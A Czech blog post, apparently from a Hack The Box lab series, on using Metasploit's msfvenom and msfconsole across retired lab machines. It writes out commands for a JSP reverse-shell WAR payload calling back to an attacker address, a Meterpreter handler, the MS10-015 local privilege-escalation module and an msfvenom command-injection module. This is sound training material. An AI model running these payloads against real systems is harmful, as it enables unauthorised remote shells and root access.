tom@home.htb:~$

Blog o HTB

1 November 2020

Metasploit: msfconsole a msfvenom

Úvod a kontext

Metasploit se v tomto projektu neobjevuje jako univerzální tlačítko “hackni server”. Prakticky má tři opakující se role:

Na Jerry, Tabby a Sealu vytváří WAR/JSP payload pro aplikační servery. Na Develu řeší Meterpreter handler i lokální modul pro MS10-015. Na ScriptKiddie je sám součástí příběhu: nejdřív jako zranitelně obalený msfvenom, později jako přímo delegovaný root přes sudo msfconsole.

Co je na Metasploitu v praxi nejdůležitější

Je užitečné oddělit dvě vrstvy:

msfvenom

Slouží hlavně jako generátor payloadů:

msfconsole

Slouží jako:

Praktická hodnota tedy neleží v tom, že by Metasploit “udělal vše”. Leží v tom, že zrychlí technickou obsluhu opakujících se kroků.

Nejčastější scénáře využití v tomto projektu

Generování payloadu pro známý upload nebo deploy kanál

Na Jerry je nejčistší scénář velmi přímočarý. Existuje přístup do Tomcat Manageru a je potřeba jen připravit WAR s reverzním shellem:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.4 LPORT=4000 -f war > shell.war

Stejný pattern se vrací i na Tabby a Sealu. Tady je důležité, že Metasploit neřeší zranitelnost sama o sobě. Zranitelnost nebo slabá konfigurace už přístup k deployi otevřela. msfvenom jen rychle dodá použitelný artefakt pro další krok. Související širší kontext je i v článku Nebezpečné uploady: polygloty, WAR deploy a plugin upload.

Handler a lokální exploit navázaný na získanou session

Na Develu je praktická role msfconsole jiná. Nejde o první foothold, ale o technické dotažení lokální eskalace, která očekává Meterpreter session:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
run -j

use exploit/windows/local/ms10_015_kitrap0d
set session 1
run -j

Tady je Metasploit praktický hlavně proto, že:

Když má framework přesně odpovídající modul a cílový host je starý nebo dobře známý, šetří to čas proti ručnímu skládání celé cesty.

Použití hotového modulu pro dobře popsanou chybu

Na ScriptKiddie je hlavní foothold založený na command injection kolem APK template pro msfvenom. Praktický exploit šel pustit rovnou přes existující modul:

use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
set lhost 10.10.14.7
set lport 4444
exploit

To je důležitý kontrast k situacím, kdy je lepší vlastní skript nebo ruční exploit. Pokud je chyba přesně známá, modul bývá nejrychlejší cesta od validované zranitelnosti k footholdu.

Rychlá příprava technického doručení

V jiných rozborech Metasploit nehraje hlavní roli, ale řeší mechanickou část řetězce:

V těchto případech není Metasploit “mozkem útoku”. Je jen velmi efektivní továrna na payload.

Kdy je Metasploit nejlepší volba

Největší smysl dává tehdy, když:

V takových situacích šetří čas a snižuje množství ruční technické práce.

Co Metasploit neumí vyřešit za vás

Metasploit:

Na Jerry je přínosný proto, že WAR deploy už je otevřený. Na Develu proto, že starý lokální exploit přesně sedí na cílový systém. Na ScriptKiddie proto, že modul přesně odpovídá známé command injection. Bez tohohle kontextu by framework sám o sobě útok nevyřešil.

Nejčastější chyby při použití

Přehnaná důvěra ve framework místo čtení cíle

To, že modul existuje, ještě neznamená, že je nejlepší volba. Praktická chyba je začít od Metasploitu místo od pochopení řetězce.

Záměna msfvenom za exploit

msfvenom jen generuje payload. Neobchází autentizaci, neotevírá upload kanál ani nevynucuje spuštění. Tyhle kroky musí vyřešit zbytek útoku.

Delegace práv k msfconsole

ScriptKiddie je velmi dobrá připomínka, že sudo msfconsole není omezené oprávnění. Je to v praxi téměř přímý root.

Nejčastější praktické scénáře

Mám upload nebo deploy kanál a potřebuji rychle připravit spustitelný payload

To je Jerry, Tabby nebo Seal.

Mám známý starý lokální exploit a potřebuji handler i session management

To je Devel.

Existuje přesně sedící exploit modul a vlastní skript by nic nepřinesl

To je ScriptKiddie.

Související články v projektu

Co si odnést do praxe

Další Související Články V Projektu

Nástroje

tags: nastroje - exploit-framework - payloads - handlers - meterpreter - msfconsole - msfvenom